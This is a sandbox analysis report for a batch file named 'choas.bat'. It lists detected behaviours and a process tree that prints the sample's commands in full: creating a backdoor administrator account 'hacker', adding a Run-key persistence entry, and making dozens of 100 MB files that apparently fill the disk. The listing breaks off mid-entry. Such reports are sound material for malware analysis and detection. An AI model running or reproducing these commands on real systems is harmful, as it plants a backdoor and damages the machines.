4ddca4d61396bad808f3bb08a2a6e75b8520373e7e2ca2cb9219938642b14a92

Analysis

user interaction
yes
max time kernel
5s
max time network
23s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 09:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
choas.bat
Size 912B
Sample260724-kzeamsfc76
SHA256 4ddca4d61396bad808f3bb08a2a6e75b8520373e7e2ca2cb9219938642b14a92
MD5 3cb4c029b438556892cd6b1fcc483641
SHA1 a13588f4805a1035eef7e34dd93af96fbce6b6ae
SHA512 81a03239b770b42c94d538c66b414f2f96e4c8ed37baff38f0f8445d7e7bcba1368754b32501bf18e6b2ac3ca41bb3d7393b00554417343dd4e8d4cec597e5c7
TLSH
T17711040F7B490C15D3F236D188BB15A4E68A72DB06437FD4B1C880D1B15D74E6AE18DE
MD5 SHA1 SHA512 TLSH

Score

9^/10

discovery execution persistence spyware stealer

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemupdate.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemupdate.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemupdate.bat	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\choas.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\choas.bat"	reg.exe

Creates a new local user account 1 TTPs 4 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3044	net.exe
5032	net1.exe
260	net.exe
2220	net1.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1476	cmd.exe
6068	cmd.exe
3376	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2924	reg.exe
4748	reg.exe

Runs net.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3376 wrote to memory of 1476	3376	cmd.exe	89
PID 1476 wrote to memory of 260	1476	cmd.exe	92
PID 260 wrote to memory of 2220	260	net.exe	93
PID 1476 wrote to memory of 3508	1476	cmd.exe	94
PID 3508 wrote to memory of 5720	3508	net.exe	95
PID 1476 wrote to memory of 3124	1476	cmd.exe	96
PID 3124 wrote to memory of 3380	3124	net.exe	97
PID 1476 wrote to memory of 2924	1476	cmd.exe	98
PID 6068 wrote to memory of 3044	6068	cmd.exe	102
PID 3044 wrote to memory of 5032	3044	net.exe	103
PID 6068 wrote to memory of 2648	6068	cmd.exe	104
PID 2648 wrote to memory of 3300	2648	net.exe	231
PID 6068 wrote to memory of 3516	6068	cmd.exe	106
PID 3516 wrote to memory of 3208	3516	net.exe	107
PID 6068 wrote to memory of 4748	6068	cmd.exe	108
PID 6068 wrote to memory of 2748	6068	cmd.exe	620
PID 1476 wrote to memory of 1980	1476	cmd.exe	746
PID 1476 wrote to memory of 1132	1476	cmd.exe	495
PID 6068 wrote to memory of 1820	6068	cmd.exe	238
PID 6068 wrote to memory of 4324	6068	cmd.exe	114
PID 1476 wrote to memory of 5304	1476	cmd.exe	496
PID 1476 wrote to memory of 5900	1476	cmd.exe	626
PID 6068 wrote to memory of 3996	6068	cmd.exe	497
PID 6068 wrote to memory of 5284	6068	cmd.exe	368
PID 1476 wrote to memory of 5928	1476	cmd.exe	119
PID 6068 wrote to memory of 2056	6068	cmd.exe	374
PID 1476 wrote to memory of 3116	1476	cmd.exe	627
PID 1476 wrote to memory of 4908	1476	cmd.exe	122
PID 6068 wrote to memory of 4376	6068	cmd.exe	375
PID 1476 wrote to memory of 3580	1476	cmd.exe	249
PID 6068 wrote to memory of 4876	6068	cmd.exe	379
PID 1476 wrote to memory of 2476	1476	cmd.exe	763
PID 6068 wrote to memory of 2384	6068	cmd.exe	889
PID 1476 wrote to memory of 1904	1476	cmd.exe	643
PID 6068 wrote to memory of 1032	6068	cmd.exe	897
PID 1476 wrote to memory of 2460	1476	cmd.exe	903
PID 6068 wrote to memory of 1512	6068	cmd.exe	511
PID 1476 wrote to memory of 2888	1476	cmd.exe	132
PID 6068 wrote to memory of 4744	6068	cmd.exe	385
PID 1476 wrote to memory of 1332	1476	cmd.exe	899
PID 6068 wrote to memory of 5640	6068	cmd.exe	644
PID 1476 wrote to memory of 6012	1476	cmd.exe	646
PID 6068 wrote to memory of 1896	6068	cmd.exe	518
PID 1476 wrote to memory of 3008	1476	cmd.exe	902
PID 6068 wrote to memory of 2772	6068	cmd.exe	264
PID 1476 wrote to memory of 4468	1476	cmd.exe	391
PID 6068 wrote to memory of 3324	6068	cmd.exe	778
PID 1476 wrote to memory of 2240	1476	cmd.exe	523
PID 6068 wrote to memory of 6076	6068	cmd.exe	397
PID 1476 wrote to memory of 3292	1476	cmd.exe	654
PID 1476 wrote to memory of 5840	1476	cmd.exe	526
PID 6068 wrote to memory of 2804	6068	cmd.exe	652
PID 6068 wrote to memory of 6132	6068	cmd.exe	401
PID 1476 wrote to memory of 2820	1476	cmd.exe	784
PID 6068 wrote to memory of 5952	6068	cmd.exe	529
PID 1476 wrote to memory of 5056	1476	cmd.exe	787
PID 6068 wrote to memory of 556	6068	cmd.exe	534
PID 1476 wrote to memory of 3588	1476	cmd.exe	920
PID 6068 wrote to memory of 5856	6068	cmd.exe	533
PID 1476 wrote to memory of 4528	1476	cmd.exe	280
PID 6068 wrote to memory of 2940	6068	cmd.exe	792
PID 1476 wrote to memory of 1092	1476	cmd.exe	926
PID 6068 wrote to memory of 4232	6068	cmd.exe	923
PID 1476 wrote to memory of 4312	1476	cmd.exe	410

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\choas.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\choas.bat" hidden
  2⤵
  - Drops startup file
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\system32\net.exe
    net user hacker Hacked123 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user hacker Hacked123 /add
      4⤵
      Creates a new local user account
      PID:2220
- - C:\Windows\system32\net.exe
    net localgroup administrators hacker /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators hacker /add
      4⤵
      PID:5720
- - C:\Windows\system32\net.exe
    net user hacker /active:yes
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3124
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user hacker /active:yes
      4⤵
      PID:3380
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\choas.bat" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:2924
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2721920949.tmp" 104857600
    3⤵
    PID:1980
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2865824219.tmp" 104857600
    3⤵
    PID:1132
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys89099249.tmp" 104857600
    3⤵
    PID:5304
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3151222345.tmp" 104857600
    3⤵
    PID:5900
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys24737971.tmp" 104857600
    3⤵
    PID:5928
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys52668090.tmp" 104857600
    3⤵
    PID:3116
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys219418767.tmp" 104857600
    3⤵
    PID:4908
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys211895811.tmp" 104857600
    3⤵
    PID:3580
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1704712111.tmp" 104857600
    3⤵
    PID:2476
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2091117384.tmp" 104857600
    3⤵
    PID:1904
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2672313290.tmp" 104857600
    3⤵
    PID:2460
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys263962594.tmp" 104857600
    3⤵
    PID:2888
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1265330694.tmp" 104857600
    3⤵
    PID:1332
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2639710884.tmp" 104857600
    3⤵
    PID:6012
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2518021787.tmp" 104857600
    3⤵
    PID:3008
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys325423118.tmp" 104857600
    3⤵
    PID:4468
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys267527274.tmp" 104857600
    3⤵
    PID:2240
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2325528673.tmp" 104857600
    3⤵
    PID:3292
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2519019455.tmp" 104857600
    3⤵
    PID:5840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys244527588.tmp" 104857600
    3⤵
    PID:2820
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys580131442.tmp" 104857600
    3⤵
    PID:5056
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2137024326.tmp" 104857600
    3⤵
    PID:3588
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys197227540.tmp" 104857600
    3⤵
    PID:4528
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1421130565.tmp" 104857600
    3⤵
    PID:1092
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys158112056.tmp" 104857600
    3⤵
    PID:4312
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys71212494.tmp" 104857600
    3⤵
    PID:4904
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys284120879.tmp" 104857600
    3⤵
    PID:2328
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1404129414.tmp" 104857600
    3⤵
    PID:3308
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3102531850.tmp" 104857600
    3⤵
    PID:2008
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys82317593.tmp" 104857600
    3⤵
    PID:4776
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys225642073.tmp" 104857600
    3⤵
    PID:2484
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1247218769.tmp" 104857600
    3⤵
    PID:840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2158920553.tmp" 104857600
    3⤵
    PID:2252
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2947115738.tmp" 104857600
    3⤵
    PID:3928
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys845123822.tmp" 104857600
    3⤵
    PID:1596
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1066825475.tmp" 104857600
    3⤵
    PID:1708
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys125702157.tmp" 104857600
    3⤵
    PID:4720
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2812814391.tmp" 104857600
    3⤵
    PID:5404
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys292637453.tmp" 104857600
    3⤵
    PID:1100
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys25635173.tmp" 104857600
    3⤵
    PID:4836
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1597921134.tmp" 104857600
    3⤵
    PID:3980
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2245718028.tmp" 104857600
    3⤵
    PID:1420
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3043918987.tmp" 104857600
    3⤵
    PID:5800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2123524275.tmp" 104857600
    3⤵
    PID:2852
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3244229149.tmp" 104857600
    3⤵
    PID:2524
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1954441.tmp" 104857600
    3⤵
    PID:5248
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys164728624.tmp" 104857600
    3⤵
    PID:4416
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys712113136.tmp" 104857600
    3⤵
    PID:4564
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2418631609.tmp" 104857600
    3⤵
    PID:2492
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys119561359.tmp" 104857600
    3⤵
    PID:2732
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1735618392.tmp" 104857600
    3⤵
    PID:2168
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1071529520.tmp" 104857600
    3⤵
    PID:4612
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2320525338.tmp" 104857600
    3⤵
    PID:4168
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1297124182.tmp" 104857600
    3⤵
    PID:5852
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1937011971.tmp" 104857600
    3⤵
    PID:4452
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2049527732.tmp" 104857600
    3⤵
    PID:2444
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1413522250.tmp" 104857600
    3⤵
    PID:4548
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys625119722.tmp" 104857600
    3⤵
    PID:4620
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2943026693.tmp" 104857600
    3⤵
    PID:2532
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3169811441.tmp" 104857600
    3⤵
    PID:2304
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1784127975.tmp" 104857600
    3⤵
    PID:780
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3237621498.tmp" 104857600
    3⤵
    PID:5032
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys547613255.tmp" 104857600
    3⤵
    PID:3300
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3057015377.tmp" 104857600
    3⤵
    PID:4892
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys152558194.tmp" 104857600
    3⤵
    PID:3612
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys101086600.tmp" 104857600
    3⤵
    PID:4344
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2967412516.tmp" 104857600
    3⤵
    PID:6104
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys154919201.tmp" 104857600
    3⤵
    PID:5484
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys63866531.tmp" 104857600
    3⤵
    PID:1136
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys53176411.tmp" 104857600
    3⤵
    PID:3512
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys90275101.tmp" 104857600
    3⤵
    PID:2056
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2219018466.tmp" 104857600
    3⤵
    PID:3580
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys788620771.tmp" 104857600
    3⤵
    PID:2476
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys124858432.tmp" 104857600
    3⤵
    PID:2876
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys267010853.tmp" 104857600
    3⤵
    PID:1012
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys219823912.tmp" 104857600
    3⤵
    PID:2324
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2194930640.tmp" 104857600
    3⤵
    PID:5372
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys24489653.tmp" 104857600
    3⤵
    PID:6012
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2897212166.tmp" 104857600
    3⤵
    PID:2772
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2071323390.tmp" 104857600
    3⤵
    PID:2880
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys929913293.tmp" 104857600
    3⤵
    PID:2060
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys700924876.tmp" 104857600
    3⤵
    PID:3292
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys781328858.tmp" 104857600
    3⤵
    PID:5840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3073321039.tmp" 104857600
    3⤵
    PID:2820
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3012012047.tmp" 104857600
    3⤵
    PID:2312
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1102917214.tmp" 104857600
    3⤵
    PID:3916
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys185916931.tmp" 104857600
    3⤵
    PID:4528
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1418430174.tmp" 104857600
    3⤵
    PID:4792
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2863328993.tmp" 104857600
    3⤵
    PID:4312
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1246212902.tmp" 104857600
    3⤵
    PID:1892
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys319017172.tmp" 104857600
    3⤵
    PID:4336
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys270073424.tmp" 104857600
    3⤵
    PID:2872
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys149833617.tmp" 104857600
    3⤵
    PID:5264
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys209467217.tmp" 104857600
    3⤵
    PID:3852
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1892629333.tmp" 104857600
    3⤵
    PID:4240
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys658423805.tmp" 104857600
    3⤵
    PID:2480
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys218468513.tmp" 104857600
    3⤵
    PID:5988
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2772221957.tmp" 104857600
    3⤵
    PID:1596
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys298925091.tmp" 104857600
    3⤵
    PID:5864
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2223911986.tmp" 104857600
    3⤵
    PID:5592
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys323676823.tmp" 104857600
    3⤵
    PID:3528
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1241919543.tmp" 104857600
    3⤵
    PID:4836
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1889825325.tmp" 104857600
    3⤵
    PID:4976
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys554111090.tmp" 104857600
    3⤵
    PID:1420
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1049523373.tmp" 104857600
    3⤵
    PID:6028
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys194721459.tmp" 104857600
    3⤵
    PID:1516
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys31266360.tmp" 104857600
    3⤵
    PID:5328
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys8989448.tmp" 104857600
    3⤵
    PID:4588
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys9508609.tmp" 104857600
    3⤵
    PID:4728
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys925428856.tmp" 104857600
    3⤵
    PID:3696
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys507516509.tmp" 104857600
    3⤵
    PID:4512
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1004524758.tmp" 104857600
    3⤵
    PID:2520
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys391317926.tmp" 104857600
    3⤵
    PID:4464
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys82221497.tmp" 104857600
    3⤵
    PID:5824
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2760023270.tmp" 104857600
    3⤵
    PID:3408
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1417916034.tmp" 104857600
    3⤵
    PID:3648
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1764918258.tmp" 104857600
    3⤵
    PID:2444
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys101514237.tmp" 104857600
    3⤵
    PID:1156
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys27921460.tmp" 104857600
    3⤵
    PID:4296
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3092529252.tmp" 104857600
    3⤵
    PID:2924
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1968910062.tmp" 104857600
    3⤵
    PID:3128
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2325013088.tmp" 104857600
    3⤵
    PID:2720
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2479117980.tmp" 104857600
    3⤵
    PID:3416
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys212806961.tmp" 104857600
    3⤵
    PID:3720
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys176515945.tmp" 104857600
    3⤵
    PID:4572
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2904428816.tmp" 104857600
    3⤵
    PID:3800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys17954293.tmp" 104857600
    3⤵
    PID:1928
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1302623123.tmp" 104857600
    3⤵
    PID:1680
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys584429765.tmp" 104857600
    3⤵
    PID:5304
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys247755041.tmp" 104857600
    3⤵
    PID:5284
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1556914923.tmp" 104857600
    3⤵
    PID:1688
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2355223143.tmp" 104857600
    3⤵
    PID:3512
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys242755144.tmp" 104857600
    3⤵
    PID:2056
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys103297257.tmp" 104857600
    3⤵
    PID:4376
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys18519823.tmp" 104857600
    3⤵
    PID:3268
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1952810365.tmp" 104857600
    3⤵
    PID:4876
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2515124908.tmp" 104857600
    3⤵
    PID:2876
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2274826357.tmp" 104857600
    3⤵
    PID:3144
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys96016597.tmp" 104857600
    3⤵
    PID:5212
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1176023675.tmp" 104857600
    3⤵
    PID:4780
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys560618416.tmp" 104857600
    3⤵
    PID:1908
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2013232002.tmp" 104857600
    3⤵
    PID:5144
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys81013829.tmp" 104857600
    3⤵
    PID:6064
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys230544506.tmp" 104857600
    3⤵
    PID:2880
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1347029189.tmp" 104857600
    3⤵
    PID:832
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3178813717.tmp" 104857600
    3⤵
    PID:3888
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2583823195.tmp" 104857600
    3⤵
    PID:6132
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2742112008.tmp" 104857600
    3⤵
    PID:3588
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2604821505.tmp" 104857600
    3⤵
    PID:420
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys175539684.tmp" 104857600
    3⤵
    PID:1884
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys313338215.tmp" 104857600
    3⤵
    PID:1628
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2444732709.tmp" 104857600
    3⤵
    PID:4792
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys296082384.tmp" 104857600
    3⤵
    PID:2328
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2613424954.tmp" 104857600
    3⤵
    PID:1428
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys146835629.tmp" 104857600
    3⤵
    PID:4280
- - C:\Windows\system32\fsutil.exe
